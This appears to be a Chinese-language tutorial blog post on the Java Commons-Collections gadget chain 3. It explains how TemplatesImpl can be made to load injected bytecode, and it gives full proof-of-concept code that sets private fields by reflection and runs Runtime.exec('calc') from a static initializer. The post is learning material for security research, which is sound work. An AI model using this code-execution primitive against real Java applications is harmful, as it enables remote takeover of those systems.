java cc链3 TemplatesImpl类加载
使用url加载类
创建一个test类,只存在一段静态代码,构建为class文件,
package com.example;
public class test {
static {
System.out.println("aaaaa");
}}
我这里把构建完成的test.class文件复制到D:/abc目录下,然后使用URLClassLoader
进行加载,可以看到控制台正常输出aaaaa字段
public static void main(String[] args) throws Exception {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///D:\\abc\\")});
Class<?> a = urlClassLoader.loadClass("test");
a.newInstance();
}
注意事项,由于test类存在package com.example;
这里直接写urlClassLoader.loadClass("test");
是没有问题的,但如果自己的是package org.example;
,就会出错,需要修改为Class<?> a = urlClassLoader.loadClass("org.example.test")
才能够正常执行,或者test类中直接删除package com.example;
这一行即可
通过字节码进行类加载
使用上文创建的test类
public class test {
static {
System.out.println("aaaaa");
}}
构建为class文件,读取class字节码,通过defineclass创建实例
ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader();
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\abc\\test.class"));
Class test = (Class) defineClass.invoke(systemClassLoader, "test",code, 0, code.length);
test.newInstance();
会发现控制台正常输出 aaaaa
,这里是由于defineClass
是私有属性,所以通过反射的方式进行调用。
这里将test.java的内容更改为
public class test {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
通过字节码加载的方式可以实现执行代码的效果。
在cc链1中是用的是InvokerTransformer.transform
反射加载Runtime.class进而执行系统命令,如果能够找到一个接口调用了defineClass
和newInstance()
,符合加载字节码代码执行的条件,就可以将InvokerTransformer.transform
进行替换
这里使用TemplatesImpl
类,在getTransletInstance()
方法中调用了defineTransletClasses()
方法,并且刚好存在defineClass
和newInstance()
方法,并且getTransletInstance()
在public方法newTransformer()
中,满足方法中的条件,直到字节码实例的创建。
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
创建TemplatesImpl()类调用newTransformer()方法,进入getTransletInstance()方法
TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer();
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
这里进入defineTransletClasses()方法,调用defineclass方法,在运行newInstance()创建实例,这里需要_name不为空,通过反射修改_name属性值
Class tc=templates.getClass();
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaaa");
进入defineTransletClasses()方法,
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
首先在
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
这个条件判断中_bytecodes不能为空,否则会报错退出,
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
这个方法中_tfactory不能为空,要不然会出现空指针错误(找不到getExternalExtensionsMap()方法),
查找到
private transient TransformerFactoryImpl _tfactory = null;
使用transient修饰,该字段不能被序列化,在readObject中对_tfactory赋值为
_tfactory = new TransformerFactoryImpl();
那么添加
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
在接下来的for循环中,_bytecodes为二维数组,通过for循环遍历一唯数组,
private byte[][] _bytecodes = null;
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
进入defineClass中,根据之前的字节码创建实例,这里传入的_bytecodes[i]应该是读取的字节码,
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
添加为
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\abc\\ceshi.class"));
byte[][] codes= {code};
bytecodes.set(templates,codes);
这里的二维数组只有一个一维数组,所以for循环为
for (int i = 0; i < 1; i++)
i
的取值只有0
在下面的if条件判断中
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
在两个if判断中,只需要满足superClass.getName().equals(ABSTRACT_TRANSLET)=true
即可
其实在readObject中可以找到
_transletIndex = gf.get("_transletIndex", -1);
_transletIndex的默认值为-1,如果进入_auxClasses.put(_class[i].getName(), _class[i]);
判断,下一步的if判断if (_transletIndex < 0)
还是会报错退出,还想要执行外部的newInstance()方法,
这里查看ABSTRACT_TRANSLET的属性值
private static String ABSTRACT_TRANSLET
= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
也就是说父类需要为AbstractTranslet,由于这里的superClass其实是
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
传入的字节码的父类,所以这里需要对test.class进行修改
导入类,继承AbstractTranslet父类1
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
public class ceshi extends AbstractTranslet{
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
由于AbstractTranslet是个抽象类,需要实现AbstractTranslet的两个方法(导入类,继承方法后,点击给出的提示即可)
那么到现在,通过TemplatesImpl类,已经完成了字节码实例加载,完整的代码如下
test08.java
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class test08 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc=templates.getClass();
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaaa");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\abc\\ceshi.class"));
byte[][] codes= {code};
bytecodes.set(templates,codes);
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
templates.newTransformer();
}
}
ceshi.java
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class ceshi extends AbstractTranslet{
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
这里的ceshi就是上文中的test,构建执行,弹出calc,说明已经执行了ceshi.class的内容, 建议先观看白日梦组长基础篇关于动态类加载,再看cc链3,
参考
白日梦组长